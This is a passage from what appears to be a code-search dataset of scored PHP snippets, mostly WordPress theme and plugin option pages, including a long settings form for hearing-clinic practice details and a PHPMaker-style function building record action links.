\"name\" => \"Color Four\",\n\t \"id\" => \"color4\",\n\t \"std\" => \"#ff0090\",\n\t \"type\" => \"color\");\n \t\t\n\treturn $options;\n}", "title": "" }, { "docid": "cb263a946c1afdac517f7fb39ce99955", "score": "0.6632925", "text": "function gluu_add_url_options(){\r\n add_management_page(\"go-live-setting\", \"Go Live\", \"manage_options\", basename(__FILE__), array( $this,\"adminToolsPage\") );\r\n }", "title": "" }, { "docid": "280b69b225f098909db1543fd9332d29", "score": "0.6621618", "text": "function sw_options_page(){\n\t\tadd_submenu_page('options-general.php', 'Spotify Widget Options', 'Spotify Widget', 'manage_options', 'sw', 'sw_options_page_html');\n\t}", "title": "" }, { "docid": "464ff2b1ab948dc6df480cf38c878dc4", "score": "0.6619159", "text": "function set_options()\n\t{\n\t}", "title": "" }, { "docid": "71f3f2b62bd07666104dde8255458533", "score": "0.66185975", "text": "function BCMH_theme_options_render_page() {\n\t?>\n\t<div class=\"wrap\">\n\t\t<?php screen_icon(); ?>\n\t\t<?php $theme_name = function_exists( 'wp_get_theme' ) ? wp_get_theme() : get_current_theme(); ?>\n\t\t<h2><?php printf( __( '%s Options', 'BCMH' ), $theme_name ); ?></h2>\n\t\t\n\t\t<?php settings_errors(); ?>\n\t\t<?php bcmh_admin_tabs(); ?>\n\t\t\n\t\t<form method=\"post\" action=\"options.php\">\n\t\t\t<?php\n\t\t\t\tsettings_fields( 'BCMH_options' );\n\t\t\t\tdo_settings_sections( 'theme_options' );\n\t\t\t\tsubmit_button();\n\t\t\t?>\n\t\t</form>\n\t</div>\n\t<?php\n}", "title": "" }, { "docid": "9fe8126a5e72b75fc8aee49c9c3a74e0", "score": "0.6614854", "text": "function SetupOtherOptions() {\n\t\tglobal $Language, $Security;\n\t\t$options = &$this->OtherOptions;\n\t\t$option = &$options[\"action\"];\n\n\t\t// Add\n\t\t$item = &$option->Add(\"add\");\n\t\t$item->Body = \"<a class=\\\"ewAction ewAdd\\\" title=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageAddLink\")) . \"\\\" data-caption=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageAddLink\")) . \"\\\" href=\\\"\" . ew_HtmlEncode($this->AddUrl) . \"\\\">\" . $Language->Phrase(\"ViewPageAddLink\") . \"</a>\";\n\t\t$item->Visible = ($this->AddUrl <> \"\" && $Security->CanAdd());\n\n\t\t// Edit\n\t\t$item = &$option->Add(\"edit\");\n\t\t$item->Body = \"<a class=\\\"ewAction ewEdit\\\" title=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageEditLink\")) . \"\\\" data-caption=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageEditLink\")) . \"\\\" href=\\\"\" . ew_HtmlEncode($this->EditUrl) . \"\\\">\" . $Language->Phrase(\"ViewPageEditLink\") . \"</a>\";\n\t\t$item->Visible = ($this->EditUrl <> \"\" && $Security->CanEdit()&& $this->ShowOptionLink('edit'));\n\n\t\t// Copy\n\t\t$item = &$option->Add(\"copy\");\n\t\t$item->Body = \"<a class=\\\"ewAction ewCopy\\\" title=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageCopyLink\")) . \"\\\" data-caption=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageCopyLink\")) . \"\\\" href=\\\"\" . ew_HtmlEncode($this->CopyUrl) . \"\\\">\" . $Language->Phrase(\"ViewPageCopyLink\") . \"</a>\";\n\t\t$item->Visible = ($this->CopyUrl <> \"\" && $Security->CanAdd() && $this->ShowOptionLink('add'));\n\n\t\t// Delete\n\t\t$item = &$option->Add(\"delete\");\n\t\t$item->Body = \"<a class=\\\"ewAction ewDelete\\\" title=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageDeleteLink\")) . \"\\\" data-caption=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageDeleteLink\")) . \"\\\" href=\\\"\" . ew_HtmlEncode($this->DeleteUrl) . \"\\\">\" . $Language->Phrase(\"ViewPageDeleteLink\") . \"</a>\";\n\t\t$item->Visible = ($this->DeleteUrl <> \"\" && $Security->CanDelete() && $this->ShowOptionLink('delete'));\n\t\t$option = &$options[\"detail\"];\n\t\t$DetailTableLink = \"\";\n\t\t$DetailViewTblVar = \"\";\n\t\t$DetailCopyTblVar = \"\";\n\t\t$DetailEditTblVar = \"\";\n\n\t\t// \"detail_gastos\"\n\t\t$item = &$option->Add(\"detail_gastos\");\n\t\t$body = $Language->Phrase(\"ViewPageDetailLink\") . $Language->TablePhrase(\"gastos\", \"TblCaption\");\n\t\t$body .= str_replace(\"%c\", $this->gastos_Count, $Language->Phrase(\"DetailCount\"));\n\t\t$body = \"<a class=\\\"btn btn-default btn-sm ewRowLink ewDetail\\\" data-action=\\\"list\\\" href=\\\"\" . ew_HtmlEncode(\"gastoslist.php?\" . EW_TABLE_SHOW_MASTER . \"=hoja_rutas&fk_codigo=\" . urlencode(strval($this->codigo->CurrentValue)) . \"\") . \"\\\">\" . $body . \"</a>\";\n\t\t$links = \"\";\n\t\tif ($GLOBALS[\"gastos_grid\"] && $GLOBALS[\"gastos_grid\"]->DetailView && $Security->CanView() && $Security->AllowView(CurrentProjectID() . 'gastos')) {\n\t\t\t$links .= \"<li><a class=\\\"ewRowLink ewDetailView\\\" data-action=\\\"view\\\" data-caption=\\\"\" . ew_HtmlTitle($Language->Phrase(\"MasterDetailViewLink\")) . \"\\\" href=\\\"\" . ew_HtmlEncode($this->GetViewUrl(EW_TABLE_SHOW_DETAIL . \"=gastos\")) . \"\\\">\" . ew_HtmlImageAndText($Language->Phrase(\"MasterDetailViewLink\")) . \"</a></li>\";\n\t\t\tif ($DetailViewTblVar <> \"\") $DetailViewTblVar .= \",\";\n\t\t\t$DetailViewTblVar .= \"gastos\";\n\t\t}\n\t\tif ($GLOBALS[\"gastos_grid\"] && $GLOBALS[\"gastos_grid\"]->DetailEdit && $Security->CanEdit() && $Security->AllowEdit(CurrentProjectID() . 'gastos')) {\n\t\t\t$links .= \"<li><a class=\\\"ewRowLink ewDetailEdit\\\" data-action=\\\"edit\\\" data-caption=\\\"\" . ew_HtmlTitle($Language->Phrase(\"MasterDetailEditLink\")) . \"\\\" href=\\\"\" . ew_HtmlEncode($this->GetEditUrl(EW_TABLE_SHOW_DETAIL . \"=gastos\")) . \"\\\">\" . ew_HtmlImageAndText($Language->Phrase(\"MasterDetailEditLink\")) . \"</a></li>\";\n\t\t\tif ($DetailEditTblVar <> \"\") $DetailEditTblVar .= \",\";\n\t\t\t$DetailEditTblVar .= \"gastos\";\n\t\t}\n\t\tif ($GLOBALS[\"gastos_grid\"] && $GLOBALS[\"gastos_grid\"]->DetailAdd && $Security->CanAdd() && $Security->AllowAdd(CurrentProjectID() . 'gastos')) {\n\t\t\t$links .= \"<li><a class=\\\"ewRowLink ewDetailCopy\\\" data-action=\\\"add\\\" data-caption=\\\"\" . ew_HtmlTitle($Language->Phrase(\"MasterDetailCopyLink\")) . \"\\\" href=\\\"\" . ew_HtmlEncode($this->GetCopyUrl(EW_TABLE_SHOW_DETAIL . \"=gastos\")) . \"\\\">\" . ew_HtmlImageAndText($Language->Phrase(\"MasterDetailCopyLink\")) . \"</a></li>\";\n\t\t\tif ($DetailCopyTblVar <> \"\") $DetailCopyTblVar .= \",\";\n\t\t\t$DetailCopyTblVar .= \"gastos\";\n\t\t}\n\t\tif ($links <> \"\") {\n\t\t\t$body .= \"<button class=\\\"dropdown-toggle btn btn-default btn-sm ewDetail\\\" data-toggle=\\\"dropdown\\\"><b class=\\\"caret\\\"></b></button>\";\n\t\t\t$body .= \"<ul class=\\\"dropdown-menu\\\">\". $links . \"</ul>\";\n\t\t}\n\t\t$body = \"<div class=\\\"btn-group\\\">\" . $body . \"</div>\";\n\t\t$item->Body = $body;\n\t\t$item->Visible = $Security->AllowList(CurrentProjectID() . 'gastos');\n\t\tif ($item->Visible) {\n\t\t\tif ($DetailTableLink <> \"\") $DetailTableLink .= \",\";\n\t\t\t$DetailTableLink .= \"gastos\";\n\t\t}\n\t\tif ($this->ShowMultipleDetails) $item->Visible = FALSE;\n\n\t\t// Multiple details\n\t\tif ($this->ShowMultipleDetails) {\n\t\t\t$body = $Language->Phrase(\"MultipleMasterDetails\");\n\t\t\t$body = \"<div class=\\\"btn-group\\\">\";\n\t\t\t$links = \"\";\n\t\t\tif ($DetailViewTblVar <> \"\") {\n\t\t\t\t$links .= \"<li><a class=\\\"ewRowLink ewDetailView\\\" data-action=\\\"view\\\" data-caption=\\\"\" . ew_HtmlTitle($Language->Phrase(\"MasterDetailViewLink\")) . \"\\\" href=\\\"\" . ew_HtmlEncode($this->GetViewUrl(EW_TABLE_SHOW_DETAIL . \"=\" . $DetailViewTblVar)) . \"\\\">\" . ew_HtmlImageAndText($Language->Phrase(\"MasterDetailViewLink\")) . \"</a></li>\";\n\t\t\t}\n\t\t\tif ($DetailEditTblVar <> \"\") {\n\t\t\t\t$links .= \"<li><a class=\\\"ewRowLink ewDetailEdit\\\" data-action=\\\"edit\\\" data-caption=\\\"\" . ew_HtmlTitle($Language->Phrase(\"MasterDetailEditLink\")) . \"\\\" href=\\\"\" . ew_HtmlEncode($this->GetEditUrl(EW_TABLE_SHOW_DETAIL . \"=\" . $DetailEditTblVar)) . \"\\\">\" . ew_HtmlImageAndText($Language->Phrase(\"MasterDetailEditLink\")) . \"</a></li>\";\n\t\t\t}\n\t\t\tif ($DetailCopyTblVar <> \"\") {\n\t\t\t\t$links .= \"<li><a class=\\\"ewRowLink ewDetailCopy\\\" data-action=\\\"add\\\" data-caption=\\\"\" . ew_HtmlTitle($Language->Phrase(\"MasterDetailCopyLink\")) . \"\\\" href=\\\"\" . ew_HtmlEncode($this->GetCopyUrl(EW_TABLE_SHOW_DETAIL . \"=\" . $DetailCopyTblVar)) . \"\\\">\" . ew_HtmlImageAndText($Language->Phrase(\"MasterDetailCopyLink\")) . \"</a></li>\";\n\t\t\t}\n\t\t\tif ($links <> \"\") {\n\t\t\t\t$body .= \"<button class=\\\"dropdown-toggle btn btn-default btn-sm ewMasterDetail\\\" title=\\\"\" . ew_HtmlTitle($Language->Phrase(\"MultipleMasterDetails\")) . \"\\\" data-toggle=\\\"dropdown\\\">\" . $Language->Phrase(\"MultipleMasterDetails\") . \"<b class=\\\"caret\\\"></b></button>\";\n\t\t\t\t$body .= \"<ul class=\\\"dropdown-menu ewMenu\\\">\". $links . \"</ul>\";\n\t\t\t}\n\t\t\t$body .= \"</div>\";\n\n\t\t\t// Multiple details\n\t\t\t$oListOpt = &$option->Add(\"details\");\n\t\t\t$oListOpt->Body = $body;\n\t\t}\n\n\t\t// Set up detail default\n\t\t$option = &$options[\"detail\"];\n\t\t$options[\"detail\"]->DropDownButtonPhrase = $Language->Phrase(\"ButtonDetails\");\n\t\t$option->UseImageAndText = TRUE;\n\t\t$ar = explode(\",\", $DetailTableLink);\n\t\t$cnt = count($ar);\n\t\t$option->UseDropDownButton = ($cnt > 1);\n\t\t$option->UseButtonGroup = TRUE;\n\t\t$item = &$option->Add($option->GroupOptionName);\n\t\t$item->Body = \"\";\n\t\t$item->Visible = FALSE;\n\n\t\t// Set up action default\n\t\t$option = &$options[\"action\"];\n\t\t$option->DropDownButtonPhrase = $Language->Phrase(\"ButtonActions\");\n\t\t$option->UseImageAndText = TRUE;\n\t\t$option->UseDropDownButton = FALSE;\n\t\t$option->UseButtonGroup = TRUE;\n\t\t$item = &$option->Add($option->GroupOptionName);\n\t\t$item->Body = \"\";\n\t\t$item->Visible = FALSE;\n\t}", "title": "" }, { "docid": "19cf884d61f93c76f1a68b61d5defd62", "score": "0.6611852", "text": "function gluu_add_url_options(){\r\n\t\tadd_management_page( \"go-live-setting\", \"Go Live\", \"manage_options\", basename( __FILE__ ), array(\r\n\t\t\t\t$this,\r\n\t\t\t\t\"adminToolsPage\"\r\n\t\t\t) );\r\n\t}", "title": "" }, { "docid": "15101be9c1c6ae92b0f9cb00017e38bf", "score": "0.66109675", "text": "public function main()\n\t{\n\t\t$this->out( $this->OptionParser->help() );\n\t}", "title": "" }, { "docid": "57d66d873c01de4d08edec4b4d9c8ce4", "score": "0.6603553", "text": "public function admin_options() {\n $class = empty( $_GET['tab_jne'] ) ? 'general' : sanitize_title( $_GET['tab_jne'] );\n \n\t\t$html = '<div id=\"agenwebsite_woocommerce\" class=\"' . $class . '\">' . \"\\n\";\n \n\t\t\t// AW head logo and links and table status\n\t\t\tob_start();\n\t\t\t$this->aw_head();\n\t\t\t$html .= ob_get_clean();\n\t\n\t\t\t$html .= sprintf( '<h3>%s %s</h3>', $this->method_title, __( 'Settings', 'agenwebsite' ) ) . \"\\n\";\n\t\t\t$html .= '<p>' . $this->method_description . '</p>' . \"\\n\";\t\t\t\n\t\t\t\n $html .= $this->settings_tab();\n\t\t\t\n\t\t\t$html .= '<div id=\"agenwebsite_notif\">';\n\t\t\tob_start();\n\t\t\tdo_action( 'jne_admin_notices' );\n\t\t\t$html .= ob_get_clean();\n\t\t\t$html .= '</div>';\n\t\t\t\n\t\t\t$html .= '<table class=\"form-table hide-data\">' . \"\\n\";\n\t\n\t\t\t\tob_start();\n\t\t\t\t$this->generate_settings_html();\n\t\t\t\t$html .= ob_get_clean();\n\t\n\t\t\t$html .= '</table>' . \"\\n\";\n\t\t\t\n\t\t$html .= '</div>' . \"\\n\";\n\t\t\n\t\techo $html;\n\t}", "title": "" }, { "docid": "4b81d2ce8e663e9c55cfd28fc0405c2d", "score": "0.659709", "text": "public function setupPage()\n\t{\n\t\tif(isset($_POST[self::NAME]))\n\t\t{\n\t\t\t$this->option['Setup'] = $_POST[self::NAME];\n update_option(self::NAME.\"_option\", json_encode($this->option));\n\t\t}\n\t\t$options = isset($this->option['Setup'])?$this->option['Setup']:[];\n\t\tinclude_once \"page/page-setup.php\";\n\t}", "title": "" }, { "docid": "6ee316b091996891e3ce6d8b5439ac96", "score": "0.6596441", "text": "function apollo13_settings_options(){\n\n\t\t$opt = array(\n array(\n 'name' => __be( 'Front page' ),\n 'type' => 'fieldset',\n 'default' => 1,\n 'id' => 'fieldset_front_page',\n 'help' => '#!/what_to_show_on_front_page'\n ),\n array(\n 'name' => __be( 'What to show on front page?' ),\n 'desc' => __be( 'If you choose <strong>Page</strong> then make sure that in Settings->Reading->Front page displays'\n . ' you selected <strong>A static page</strong>, that you wish to use.<br />' ),\n\n 'id' => 'fp_variant',\n 'default' => 'page',\n 'options' => array(\n 'page' => __be( 'Page' ),\n 'blog' => __be( 'Blog' ),\n 'works_list' => __be( 'Works list' ),\n 'galleries_list' => __be( 'Galleries list' ),\n 'gallery' => __be( 'Selected gallery' ),\n ),\n 'type' => 'select',\n ),\n array(\n 'name' => __be( 'Select gallery to use as front page' ),\n 'desc' => '',\n 'id' => 'fp_gallery',\n 'default' => '',\n 'type' => 'wp_dropdown_galleries',\n ),\n\n\n\t\t\tarray(\n\t\t\t\t'name' => __be( 'Woocommerce theme settings' ),\n\t\t\t\t'type' => 'fieldset',\n 'default' => 1,\n 'id' => 'fieldset_woocommerce'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => __be( 'Search in products instead of pages' ),\n\t\t\t\t'desc' => __be( 'It will change wordpress default search function to make shop search. So when this is activated search function in header or serach widget will act as woocommerece search widget.' ),\n\t\t\t\t'id' => 'shop_search',\n\t\t\t\t'default' => 'off',\n\t\t\t\t'options' => array(\n\t\t\t\t\t'on' => __be( 'On' ),\n\t\t\t\t\t'off' => __be( 'Off' ),\n\t\t\t\t),\n\t\t\t\t'type' => 'radio',\n\t\t\t),\n\n\n\n\t\t\tarray(\n\t\t\t\t'name' => __be( 'Google Analytics' ),\n\t\t\t\t'type' => 'fieldset',\n 'default' => 1,\n 'id' => 'fieldset_google_anal'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'name' => __be( 'Enter code here from GA here:' ),\n 'desc' => __be( 'Enter whole code that beggins with <code>&lt;script type=\"text/javascript\"&gt;</code> and ends with <code>&lt;/script&gt;</code>.' ),\n\t\t\t\t'id' => 'ga_code',\n\t\t\t\t'default' => '',\n\t\t\t\t'type' => 'textarea',\n\t\t\t),\n\t\t);\n\n\t\treturn $opt;\n\t}", "title": "" }, { "docid": "d44ae0aa68324e6280cb576c50c3ace8", "score": "0.65959406", "text": "function optionsframework_options() {\n\n\t// Test data\n\t$twitter = array(\n\t\t'one' => __('Yes, Please create a new Twitter account', 'options_check'),\n\t\t'two' => __('I have a Twitter account already.', 'options_check')\n\t);\n\t\n\t$facebook = array(\n\t\t'one' => __('Yes, Please create a new Facebook page', 'options_check'),\n\t\t'two' => __('I have a Facebook page already.', 'options_check')\n\t);\n\t\n\t$google = array(\n\t\t'one' => __('Yes, Please create a new Google+ Local page', 'options_check'),\n\t\t'two' => __('I have a Google+ Local page already.', 'options_check')\n\t);\n\t\n\t$email = array(\n\t\t'one' => __('Google Apps', 'options_check'),\n\t\t'two' => __('Exchange Server', 'options_check'),\n\t\t'three' => __('On The Same Server As My Website', 'options_check'),\n\t\t'four' => __('I Use A Free Service Like Gmail, Yahoo or AOL', 'options_check'),\n\t\t'five' => __('I Don\\'t Know', 'options_check')\n\t);\n\n\t// Multicheck Array\n\t$multicheck_array = array(\n\t\t'one' => __('French Toast', 'options_check'),\n\t\t'two' => __('Pancake', 'options_check'),\n\t\t'three' => __('Omelette', 'options_check'),\n\t\t'four' => __('Crepe', 'options_check'),\n\t\t'five' => __('Waffle', 'options_check')\n\t);\n\n\t// Multicheck Array\n\t$services_array = array(\n\t\t'one' => __('Tinnitus', 'options_check'),\n\t\t'two' => __('Hearing Tests', 'options_check'),\n\t\t'three' => __('Custom Earmolds', 'options_check'),\n\t\t'four' => __('Assistive Listening Devices', 'options_check'),\n\t\t'five' => __('Seminars and Presentations', 'options_check'),\n\t\t'six' => __('Aural Rehabilitation', 'options_check'),\n\t\t'seven' => __('Balance Disorders', 'options_check'),\n\t\t'eight' => __('Hearing Conservation', 'options_check'),\n\t\t'twentyfive' => __('LACE', 'options_check'),\n\t\t'nine' => __('Pediatrics', 'options_check'),\n\t\t'ten' => __('Oticon Hearing Aids', 'options_check'),\n\t\t'eleven' => __('Lyric Hearing Aids', 'options_check'),\n\t\t'twelve' => __('Phonak Hearing Aids', 'options_check'),\n\t\t'thirteen' => __('ReSound Hearing Aids', 'options_check'),\n\t\t'fourteen' => __('Tinnitus SoundCure Serenade', 'options_check'),\n\t\t'fifteen' => __('Auditory Brainstem Response Test', 'options_check'),\n\t\t'sixteen' => __('Otoacoustic Emission Testing', 'options_check'),\n\t\t'seventeen' => __('Beltone', 'options_check'),\n\t\t'eighteen' => __('Unitron', 'options_check'),\n\t\t'nineteen' => __('Bluetooth', 'options_check'),\n\t\t'twenty' => __('Widex', 'options_check'),\n\t\t'twentyone' => __('Bell Hearing Instruments', 'options_check'),\n\t\t'twentytwo' => __('Siemens', 'options_check'),\n\t\t'twentythree' => __('Starkey', 'options_check'),\n\t\t'twentysix' => __('Sonic Hearing Aids', 'options_check'),\n\t\t'twentyfour' => __('Videonystagmography (VNG)', 'options_check')\n\t);\n\t\n\t// Multicheck Array\n\t$organizations_one_array = array(\n\t\t'one' => __('American Speech, Language, Hearing Association', 'options_check'),\n\t\t'two' => __('American Academy of Audiology', 'options_check'),\n\t\t'three' => __('Academy of Doctors of Audiology', 'options_check'),\n\t\t'four' => __('International Hearing Society', 'options_check'),\n\t\t'five' => __('American Tinnitus Association', 'options_check'),\n\t\t'six' => __('None', 'options_check'),\n\t);\n\n\t// Multicheck Defaults\n\t$multicheck_defaults = array(\n\t\t'one' => '1',\n\t\t'five' => '1'\n\t);\n\n\t// Background Defaults\n\t$background_defaults = array(\n\t\t'color' => '',\n\t\t'image' => '',\n\t\t'repeat' => 'repeat',\n\t\t'position' => 'top center',\n\t\t'attachment'=>'scroll' );\n\t\t\n\t// Color Pallets\t\n\t$options[] = array(\n\t \"name\" => \"Base Color Scheme\",\n\t \"desc\" => \"If you change the color scheme, your color options below will automatically update.\",\n\t \"id\" => \"color_scheme\",\n\t \"std\" => \"vibrant\",\n\t \"type\" => \"select\",\n\t \"options\" => $base_color_scheme_array);\n\t \n\t$options[] = array(\n\t\t\"name\" => \"Color One\",\n\t \"id\" => \"color1\",\n\t \"std\" => \"#07dfff\",\n\t \"type\" => \"color\" );\n\t \n\t$options[] = array(\n\t \"name\" => \"Color Two\",\n\t \"id\" => \"color2\",\n\t \"std\" => \"#3cff07\",\n\t \"type\" => \"color\");\n\t \n\t$options[] = array(\n\t \"name\" => \"Color Three\",\n\t \"id\" => \"color3\",\n\t \"std\" => \"#fcff00\",\n\t \"type\" => \"color\");\n\t \n\t$options[] = array(\n\t \"name\" => \"Color Four\",\n\t \"id\" => \"color4\",\n\t \"std\" => \"#ff0090\",\n\t \"type\" => \"color\");\n\n\n\t// Typography Defaults\n\t$typography_defaults = array(\n\t\t'size' => '15px',\n\t\t'face' => 'georgia',\n\t\t'style' => 'bold',\n\t\t'color' => '#bada55' );\n\t\t\n\t// Typography Options\n\t$typography_options = array(\n\t\t'sizes' => array( '6','12','14','16','20' ),\n\t\t'faces' => array( 'Helvetica Neue' => 'Helvetica Neue','Arial' => 'Arial' ),\n\t\t'styles' => array( 'normal' => 'Normal','bold' => 'Bold' ),\n\t\t'color' => false\n\t);\n\t\n\t// Bio Page Theme\t\n\t$bio_options = array(\n\t\t'Default Wordpress Page',\n\t\t'Bio Page 1',\n\t\t'Bio Page 2',\n\t\t'Bio Page 3',\n\t\t'Standard Bio'\n\t);\t\n\n\t// Pull all the categories into an array\n\t$options_categories = array();\n\t$options_categories_obj = get_categories();\n\tforeach ($options_categories_obj as $category) {\n\t\t$options_categories[$category->cat_ID] = $category->cat_name;\n\t}\n\t\n\t// Pull all tags into an array\n\t$options_tags = array();\n\t$options_tags_obj = get_tags();\n\tforeach ( $options_tags_obj as $tag ) {\n\t\t$options_tags[$tag->term_id] = $tag->name;\n\t}\n\n\t// Pull all the pages into an array\n\t$options_pages = array();\n\t$options_pages_obj = get_pages('sort_column=post_parent,menu_order');\n\t$options_pages[''] = 'Select a page:';\n\tforeach ($options_pages_obj as $page) {\n\t\t$options_pages[$page->ID] = $page->post_title;\n\t}\n\n\t\n\t\n\n\n\t$options = array();\n\n\t\n\t$options[] = array(\n\t\t'name' => __('Instructions', 'options_check'),\n\t\t'type' => 'heading');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Application Instructions', 'options_check'),\n\t\t'desc' => __('Please complete this application completely. At any time you can save your progress, the \"save button\" is in the bottom right of the page. When you are satisfied with your application please file a support ticket here:\n<a href=\"http://obelismedia.com/support/\">Support Portal</a>', 'options_check'),\n\t\t'class' => 'instructions',\n\t\t'type' => 'info');\n\t\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Basic Practice Info', 'options_check'),\n\t\t'type' => 'heading');\n\n\t$options[] = array(\n\t\t'name' => __('Practice/Company Name', 'options_check'),\n\t\t'desc' => __('Your Full Company Name', 'options_check'),\n\t\t'id' => 'company_name',\n\t\t'std' => '',\n\t\t'type' => 'text');\n\n/*\n\t$options[] = array(\n\t\t'name' => __('Primary Contact Name', 'options_check'),\n\t\t'desc' => __('Primary Contact Full Name', 'options_check'),\n\t\t'id' => 'contact_name',\n\t\t'std' => '',\n\t\t'type' => 'text');\n*/\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Slogan', 'options_check'),\n\t\t'desc' => __('Your Company\\'s Slogan ', 'options_check'),\n\t\t'id' => 'slogan',\n\t\t'std' => 'Your Goal Is Our Goal \"Better Hearing\"!',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Domain Name', 'options_check'),\n\t\t'desc' => __('Domain name of your current website if you have one.', 'options_check'),\n\t\t'id' => 'domain_name',\n\t\t'std' => 'http://example.com',\n\t\t'type' => 'text');\n\t\t\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Practice Location(s)', 'options_check'),\n\t\t'type' => 'heading');\n\n\n// Main Office\n\t$options[] = array(\n\t\t'name' => __('Main Office', 'options_check'),\n\t\t'desc' => __('Details about your main/first office location.', 'options_check'),\n\t\t'type' => 'info');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Phone Number', 'options_check'),\n\t\t'desc' => __('Main phone number for this location.', 'options_check'),\n\t\t'id' => 'main_phone_number',\n\t\t'std' => '',\n\t\t'class' => 'mini',\n\t\t'type' => 'text');\n\t\n\t$options[] = array(\n\t\t'name' => __('Secondary Phone Number', 'options_check'),\n\t\t'desc' => __('Secondary or 800 number for this location. Leave blank if none.', 'options_check'),\n\t\t'id' => 'main_secondary_phone_number',\n\t\t'std' => '',\n\t\t'class' => 'mini',\n\t\t'type' => 'text');\n\t\t\t\t\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Plaza Name', 'options_check'),\n\t\t'desc' => __('If your practice is located in a plaza enter the plaza name here if you want it displayed.', 'options_check'),\n\t\t'id' => 'main_plaza',\n\t\t'std' => '',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Street Address', 'options_check'),\n\t\t'desc' => __('Street Address', 'options_check'),\n\t\t'id' => 'street_address',\n\t\t'std' => 'street_address',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Street Address Second Line', 'options_check'),\n\t\t'desc' => __('Street Address Second Line', 'options_check'),\n\t\t'id' => 'street_address_second_line',\n\t\t'std' => '',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('City', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'main_city',\n\t\t'std' => 'main_city',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('State', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'main_state',\n\t\t'std' => 'main_state',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Zip', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'main_zip',\n\t\t'std' => 'Default Value',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Google+ Local Page', 'options_check'),\n\t\t'desc' => __('Google+ Local Page for this location', 'options_check'),\n\t\t'id' => 'main_g',\n\t\t'std' => '',\n\t\t'type' => 'text');\n\t\t\t\n// Second Office\n\t$options[] = array(\n\t\t'name' => __('Do you have a second office?', 'options_check'),\n\t\t'desc' => __('Yes, I agree to pay $49/month to have this office optimized.', 'options_check'),\n\t\t'id' => 'show_second_office',\n\t\t'type' => 'checkbox');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Second Office', 'options_check'),\n\t\t'desc' => __('Details about your second office location if you have one.', 'options_check'),\n\t\t'class' => 'hidden second-office-hide',\n\t\t'type' => 'info');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Phone Number', 'options_check'),\n\t\t'desc' => __('Phone Number', 'options_check'),\n\t\t'id' => 'second_phone_number',\n\t\t'std' => '',\n\t\t'class' => 'mini hidden second-office-hide',\n\t\t'type' => 'text');\n\t\t\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Plaza Name', 'options_check'),\n\t\t'desc' => __('If your practice is located in a plaza enter the plaza name here if you want it displayed.', 'options_check'),\n\t\t'id' => 'second_plaza',\n\t\t'std' => '',\n\t\t'class' => 'hidden second-office-hide',\n\t\t'type' => 'text');\n\t\t\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Street Address', 'options_check'),\n\t\t'desc' => __('Street Address', 'options_check'),\n\t\t'id' => 'second_street_address',\n\t\t'std' => 'second_street_address',\n\t\t'class' => 'hidden second-office-hide',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('City', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'second_city',\n\t\t'std' => 'Default Value',\n\t\t'class' => 'hidden second-office-hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('State', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'second_state',\n\t\t'std' => 'Default Value',\n\t\t'class' => 'hidden second-office-hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Zip', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'second_zip',\n\t\t'std' => 'Default Value',\n\t\t'class' => 'hidden second-office-hide',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Google+ Local Page', 'options_check'),\n\t\t'desc' => __('Google+ Local Page for this location', 'options_check'),\n\t\t'id' => 'second_g',\n\t\t'std' => '',\n\t\t'class' => 'hidden second-office-hide',\n\t\t'type' => 'text');\n\t\t\n// Third Office\n\t$options[] = array(\n\t\t'name' => __('Do you have a third office?', 'options_check'),\n\t\t'desc' => __('Yes, I agree to pay $49/month to have this office optimized.', 'options_check'),\n\t\t'id' => 'show_third_office',\n\t\t'type' => 'checkbox');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Third Office', 'options_check'),\n\t\t'desc' => __('Details about your third office location if you have one.', 'options_check'),\n\t\t'class' => 'hidden third-office-hide',\n\t\t'type' => 'info');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Phone Number', 'options_check'),\n\t\t'desc' => __('Phone Number', 'options_check'),\n\t\t'id' => 'third_phone_number',\n\t\t'std' => '',\n\t\t'class' => 'mini hidden third-office-hide',\n\t\t'type' => 'text');\n\t\t\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Plaza Name', 'options_check'),\n\t\t'desc' => __('If your practice is located in a plaza enter the plaza name here if you want it displayed.', 